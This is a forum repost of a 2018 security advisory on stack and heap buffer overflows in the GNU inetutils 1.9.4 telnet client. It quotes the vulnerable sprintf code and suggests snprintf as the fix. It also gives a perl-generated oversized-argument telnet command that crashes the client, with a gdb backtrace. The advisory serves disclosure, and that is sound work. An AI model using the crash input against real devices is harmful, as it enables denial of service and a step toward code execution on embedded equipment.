GNU inetutils 1.9.4 telnet.c Overflows

#245
Topic created · 1 Posts · 1 Views
  • GNU inetutils versions 1.9.4 and below are vulnerable to a stack overflow vulnerability in the client-side environment variable handling which can be exploited to escape restricted shells on embedded devices. Most modern browsers no longer support telnet:// handlers, but in instances where URI handlers are enabled to the inetutils telnet client this issue maybe remotely triggerable. A stack-based overflow is present in the handling of environment variables when connecting telnet.c to remote telnet servers through oversized DISPLAY arguments. A heap-overflow is also present which can be triggered in a different code path due to supplying oversized environment variables during client connection code.
    MD5 | 17d3bfcc3f5ceb86b75256a45640ade5
    Download

    GNU inetutils <= 1.9.4 telnet.c multiple overflows  
    ==================================================  
    GNU inetutils is vulnerable to a stack overflow vulnerability in the  
    client-side environment  
    variable handling which can be exploited to escape restricted shells on  
    embedded devices.  
    Most modern browsers no longer support telnet:// handlers, but in instances  
    where URI  
    handlers are enabled to the inetutils telnet client this issue maybe  
    remotely triggerable.  
    A stack-based overflow is present in the handling of environment variables  
    when connecting  
    telnet.c to remote telnet servers through oversized DISPLAY arguments.  
    A heap-overflow is also present which can be triggered in a different code  
    path due to  
    supplying oversized environment variables during client connection code.  
    The stack-based overflow can be seen in the following code snippet from the  
    latest inetutils  
    release dated 2015.  
    inetutils-telnet/inetutils-1.9.4/telnet/telnet.c  
    983-    case TELOPT_XDISPLOC:  
    984-      if (my_want_state_is_wont (TELOPT_XDISPLOC))  
    985-    return;  
    986-      if (SB_EOF ())  
    987-    return;  
    988-      if (SB_GET () == TELQUAL_SEND)  
    989-    {  
    990-      unsigned char temp[50], *dp;  
    991-      int len;  
    992-  
    993-      if ((dp = env_getvalue ("DISPLAY")) == NULL)  
    994-        {  
    995-          /*  
    996-           * Something happened, we no longer have a DISPLAY  
    997-           * variable.  So, turn off the option.  
    998-           */  
    999-          send_wont (TELOPT_XDISPLOC, 1);  
    1000-         break;  
    1001-       }  
    1002:     sprintf ((char *) temp, "%c%c%c%c%s%c%c", IAC, SB,  
    TELOPT_XDISPLOC,  
    1003-              TELQUAL_IS, dp, IAC, SE);  
    1004-     len = strlen ((char *) temp + 4) + 4; /* temp[3] is 0 ... */  
    1005-  
    1006-     if (len < NETROOM ())  
    When a telnet server requests environment options the sprintf on line 1002  
    will  
    not perform bounds checking and causes an overflow of stack buffer temp[50]  
    defined  
    at line 990. This issue can be trivially fixed using a patch to add bounds  
    checking  
    to sprintf such as with a call to snprintf();  
    An example of the heap overflow can be seen when handling large environment  
    variables within the telnet client, causing heap buffer memory corruption  
    through long string supplied in example USER or DISPLAY.  
    An example of triggering this issue on inetutils in Arch Linux can be seen  
    below:  
    DISPLAY=`perl -e 'print Ax"50000"'` telnet -l`perl -e 'print "A"x5000'`  
    192.168.69.1  
    Trying 192.168.69.1...  
    Connected to 192.168.69.1.  
    Escape character is '^]'.  
    realloc(): invalid next size  
    Aborted (core dumped)  
    These issues are present anywhere that inetutils is used as a base for  
    clients  
    such as in common embedded home routers or networking equipment. An attacker  
    can potentially exploit these vulnerabilities to gain arbitrary code  
    execution  
    on platforms where telnet commands are available. An example debug trace of  
    the  
    heap overflow can be found below:  
    (gdb) run -l`perl -e 'print "A"x5000'` 192.168.69.1  
    Starting program: /usr/bin/telnet -l`perl -e 'print "A"x5000'` 192.168.69.1  
    Trying 192.168.69.1...  
    Connected to 192.168.69.1.  
    Escape character is '^]'.  
    realloc(): invalid next size  
    Program received signal SIGABRT, Aborted.  
    0x00007ffff7d87d7f in raise () from /usr/lib/libc.so.6  
    (gdb) bt  
    #0  0x00007ffff7d87d7f in raise () from /usr/lib/libc.so.6  
    #1  0x00007ffff7d72672 in abort () from /usr/lib/libc.so.6  
    #2  0x00007ffff7dca878 in __libc_message () from /usr/lib/libc.so.6  
    #3  0x00007ffff7dd118a in malloc_printerr () from /usr/lib/libc.so.6  
    #4  0x00007ffff7dd52ac in _int_realloc () from /usr/lib/libc.so.6  
    #5  0x00007ffff7dd62df in realloc () from /usr/lib/libc.so.6  
    #6  0x000055555556029c in ?? ()  
    #7  0x0000555555560116 in ?? ()  
    #8  0x000055555556049f in ?? ()  
    #9  0x00005555555606b7 in ?? ()  
    #10 0x00005555555616de in ?? ()  
    #11 0x0000555555561b8d in ?? ()  
    #12 0x0000555555562122 in ?? ()  
    #13 0x000055555555c6f4 in ?? ()  
    #14 0x00005555555591e7 in ?? ()  
    #15 0x00007ffff7d74223 in __libc_start_main () from /usr/lib/libc.so.6  
    #16 0x00005555555592be in ?? ()  
    Due to the various devices embedding telnet from inetutils and distributions  
    such as Arch Linux using inetutils telnet, it is unclear the full impact  
    and all  
    scenarios where this issue could be leveraged. An attacker may seek to  
    exploit  
    these vulnerabilities to escape restricted shells.  
    -- Hacker Fantastic (11/12/2018)  
    https://hacker.house  
    

    Source: packetstormsecurity.com

Log in to reply